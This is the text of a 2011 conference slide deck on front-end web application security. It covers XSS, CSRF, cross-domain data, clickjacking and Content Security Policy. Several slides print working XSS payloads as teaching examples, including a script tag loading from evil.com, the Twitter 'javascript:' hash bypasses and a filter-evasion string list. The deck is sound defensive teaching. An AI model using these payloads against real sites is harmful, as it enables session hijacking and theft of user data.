Web Application Security in front end

Web security in the frontendFramsiaH2011 – Erlend Oftedal Side 1

Who am I? Developer Head of the security competency group at BEKK Chapter lead of the OWASP Norway chapter Member of the Norwegian Honeynet project erlend.oftedal@bekk.no @webtonull http://erlend.oftedal.no/blog

DEMOHTML5 validation Side 10

Client side validation of data sent to server Improves usability Has nothing to do with security Side 12

Cross Site Scripting - XSS One of the most common problems OWASP Top 10 2004, 2007, 2010 http://info.veracode.com/rs/veracode/images/soss-v3.pdf Side 13

Cross site scriptingDrawing by @johnwilander

ReflectedDrawing by @johnwilander Side 15

DEMOReflected XSS Side 16

StoredDrawing by @johnwilander Side 17

StoredDrawing by @johnwilander Side 18

DEMOPersistent/stored XSS Side 19

DOM-basedDrawing by @johnwilander Side 20

DEMODOM based XSS Side 21

DOM-based http://www.server.com/#banner=2011 Not sent to server Would you click: http://server.com/#banner=2011<script src="http://evil.com/"></script> http://server.com/#banner=2011%3Cscript%20src%3D%22http%3A//evil.com/%22%3E%3C/script% 3E http://bit.ly/vH6d6w Side 22

Example $(location.hash) $("#<script>alert(1)</script>") http://codesearch.google.com/codesearch?as_q=%22%24%28location.hash%29%22http://ma.la/jquery_xss/

Twitter September 2010(function(g) { var a = location.href.split("#!")[1]; if(a){ g.location = a; }})(window);Goal: https://twitter.com/#!/framsia https://twitter.com/framsia http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html Side 24

Twitter September 2010https://twitter.com/#!javascript:alert(1) Not sent to serverg.location = "javascript:alert(1)" Side 25

First attempt to patchvar c = location.href.split("#!")[1];if(c) { window.location = c.replace(":", "");} else { return true;} Replaces first occurence of the search string. Side 26

But...https://twitter.com/#!javascript::alert(1) Side 27

2nd attempt(function(g){ var a = location.href.split("#!").[1]; if(a) { g.location = a.replace(/:/gi, ""); }})(window); Side 28

But...http://twitter.com/#!javascript:alert(1) Side 29

Working patch(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window); Side 30

HTML5 - Browser Storage Persistent DOM based XSS

Is it really all that dangerous? Side 32

DEMOBeEF Side 33

http://telenorsoc.blogspot.com/2008/10/malware-og-drive-by-exploits.html

How do we stop it? Side 35

The same origin policy <iframe src="http://mail.google.com"> <script> </iframe>

Is input validation enough? How do you validate an email address? [a-z]+@[a-z]+.[a-z]{2,3} [a-z-A-ZæøåÆØÅ.]+@[a-z0-9-.]+.[a-z]{2,3} Side 37

From Wikipedia The local-part of the email address may use any of these ASCII characters RFC 5322 Section 3.2.3: – Uppercase and lowercase English letters (a–z, A–Z) (ASCII: 65-90, 97-122) – Digits 0 to 9 (ASCII: 48-57) – Characters !#$%&*+-/=?^_`{|}~ (ASCII: 33, 35-39, 42, 43, 45, 47, 61, 63, 94-96, 123-126) – Character . (dot, period, full stop) provided that it is not the first or last character, and provided also that it does not appear two or more times consecutively (e.g. John..Doe@example.com). – Special characters are allowed with restrictions including: – Space and "(),:;<>@[] (ASCII: 32, 34, 40, 41, 44, 58, 59, 60, 62, 64, 91-93)

From Wikipedia Valid email addresses – niceandsimple@example.com – a.little.unusual@example.com – much."more unusual"@example.com – very.unusual."@".unusual.com@example.com – very."(),:;<>[]".VERY."very @"very".unusual@cool.example.com

Input validation is not enough! How would you avoid XSS on Stack Overflow? Do you really expect the user to write htmlentities like > and <? – User friendly? Side 40

Contextual encoding OWASP XSS Prevention cheat sheet – Between HTML tags – html encoding &#nn; – In HTML attributes – html attribute encoding &#nn; – In javascript strings – javascript encoding xnn – In CSS – CSS encoding nnnnnn – In URLs - URL encoding %nn Side 41

Contextual encoding is important!<html><body><script>var a = "</script><script>alert(1)</script>";</script></body></html> Side 42

Simple HTML encoding is not enough<img class="profile" src="http://..."onmouseover="showUserProfile(bob'); alert('1)"> Side 43

Allowing some HTML tags? Use a well-tested whitelist based policy engine – Specify allowed tags and allowed attributes – Canonicalization Suggestions – OWASP AntiSamy – HtmlPurifier Side 44

Why you do NOT write your own HTML-cleaner/sanitizer<IFRAME SRC="javascript:alert(XSS);"></IFRAME><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")><META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert(XSS)</SCRIPT>">¼script¾alert(¢XSS¢)¼/script¾<charset="x-mac-farsi"> script alert(1)// /scripthttp://ha.ckers.org/xss.html

jQuery Encoder $.encoder.canonicalize() $.encoder.encodeForCSS() $.encoder.encodeForHTML() $.encoder.encodeForHTMLAttribute() $.encoder.encodeForJavaScript() $.encoder.encodeForURL() http://github.com/chrisisbeef/jquery-encoder Side 46

Avoiding DOM based XSS Beware of potential attacker controlled data – window.name – window.referer – window.location.hash – ++ Side 47

Coding principles JSON from XHR should be JSON encoded – no HTML encoding Beware of the semantics – jQuery: Use $("...").text(value) instead of $("...").html(value) Use .attr() to add attributes Use .css() to modify CSS URLencode before putting data in URLs (encodeURI() and friends) Never ever put user data inside: – eval(string) – are you sure thats JSON and not just JS? – setInterval(string, t) – setTimeout(string, t) – new Function(string) Side 48

Coding principles If you are using a templating engine like Mustache, check: – When is data escaped? – How is it escaped? – For what? – Test it! Side 49

DEMODOMinator Side 50

CSRF Cross Site Request Forgery One-click attack, session riding Side 51

DEMOCSRF demo (GET + POST) Side 52

CSRF - Overview 1. Login 4. Pay bill to attacker’s account Bank 3. Page with hidden script 2. Load content Infected server Side 53

Stopping CSRF Explicit verification before performing an action – CAPTCHA – Re-authentication One-time password before paying bills Side 54

CSRF – Token For session x Token=x123LKJ23 1. GET /pay 2. 200 OK - <form...><input name="token" value="x123LKJ23" 3. POST /pay – token=x123LKJ23 4. 200 OK Bank x123LKJ23 == x123LKJ23 Infected server Side 55

CSRF – Bad token For session x Token=9992812jabc 0. Login 3. POST /pay – token=XYZZ... 4. 400 Bad request Bank 2. Page with hidden script and form 9992812jabc <form...><input name="token" value="XYZZ..." > != XYZZ... 1. Load content Infected server Side 56

DEMOCSRF Token protection demo Side 57

Cross Domain Data Proxy JSONP CORS Side 58

Proxy Client asks server Server asks target Target returns data to server Server returns data to client Allows server to inspect/reject data Does not circumvent the Same Origin Policy Cannot directly reuse current authentication Side 59

JSONP Page from server A adds a script-tag to target server B Server B (hopefully) returns JSON data wrapped in a callback function: callback({"id":0, ...}) Page from server A defines a function with the same name as the callback function, and receives the data Can leverage current authentication Any webpage can include the same script tag and the same callback and thus potentially steal the data Server B can misbehave and send other types of javascript (XSS) No easy way to protect POST requests from CSRF => Insecurely circumventing the Same Origin Policy Side 60

CORS – Cross Origin Resource Sharing Standards-defined secure way to do cross domain requests from the browser Types: – postMessage – Cross Domain XHR Side 61

CORS - postMessage Webpage from server A includes a (hidden) iframe to target server B JavaScript on page from A, invokes postMessage on iframe iframe.contentWindow .postMessage("some data", "http://serverB") Page in iframe from server B defines an event handler: $(window).bind("message", function(e) { var event = e.originalEvent; if (event.origin == "http://serverA") { //process event.data } }); Side 62

CORS - postMessage Remember to check origin of an event Dont be tempted to specify "*" as the second parameter to postMessage Side 63

Cross Domain XHR $.getJSON("http://serverB/someService", function(data) { //handle data }); Server B returns the data with a specific response header: Access-Control-Allow-Origin: http://serverA Once again do not use * as server name unless you want the data to be available to server Side 64

DEMOCORS DEMO (XHR + postMessage) Side 65

Important regardless of choice Agree on type of encodig – prefer JSON with no other encoding Remember – if you allow HTML, you open for XSS Side 66

DEMOVideo of XSS via twitter feed Side 67

Clickjacking User does not click on what he/she thinks Hidden iframe Like-jacking Side 68

DEMOClickjacking demo Side 69

Side 70http://amolnaik4.blogspot.com/2011/09/hijacking-2-clicks-in-google-accounts.html

Advanced clickjacking Exploiting drag-n-drop to steal content User drags a ball into a basket – In reality selects text and drops it in a textarea Side 71

Anti-clickjacking Javascript framebusting Response header X-Frame-Options: sameorigin X-Frame-Options: deny Javascript framebusting can be circumvented X-Frame-Options is only supported in newer browsers – IE8 was the first one – IE also supports X-Frame-Options: allow-from <domains> Side 72

DEMOAnti-clicjacking via X-Frame-Options Side 73

EcmaScript 5 – defineProperty Object.defineProperty(object, propertyName, { get: function() { ... }, set: function(value) { ... }, configurable: boolean }) Side 74

DEMOBlocking calls to document.cookie from JS Side 75

HTML5 – SVG Scalable Vector Graphics – Image format – Allows for scripting – XML-based – Can be declared inline – <html>...<div>...<svg>... Countless XSS bugs in browser implementationshttp://www.owasp.org/images/a/aa/The_image_that_called_me.pdf

SVG favicon SVG favicon overlaying the chrome of Opera Picture by Mario Heiderich @0x6D6172696F Side 77

Content Security PolicyMozilla CSP - Content Security Policy • Now a W3C standard • header based - server instructs browser • policies for javascript, frames, images, style etc.X-Content-Security-Policy: allow *; script-src self‘X-Content-Security-Policy: allow *; script-src self *.google.com https://*.nordea.no:443X-Content-Security-Policy: allow *; script-src self; options inline-script eval-script https://wiki.mozilla.org/Security/CSP/Spec

Content Security Policy First version came in Firefox 4 – FF7 and FF8beta ~80% compliant with current W3C spec Implemented in Chrome – Completely broken in Chrome 15 – ~95% compliant in beta (16) By default disables javascript functions that build code from strings eval(s), setTimeout(s,t), setInterval(s,t), new Function(s) Can (in the future) be used for clickjacking-defence: frame-ancestors uri Side 79

DEMOContent Security Policy demo Side 80

Other HTML5 features Check html5sec.org Test tool http://html5sec.org/innerhtml Side 81

Recommended books Side 82

Questions People you should follow @0x6D6172696F – HTML5 security @johnwilander – RIA security @wisecwisec – DOM based XSS @garethheyes - XSS @kkotowicz - Clickjacking Erlend Oftedal erlend.oftedal@bekk.no @webtonull

Web Application Security in front end

by Erlend Oftedal

Accessibility

Categories

Upload Details

Usage Rights

3 Embeds 96

Statistics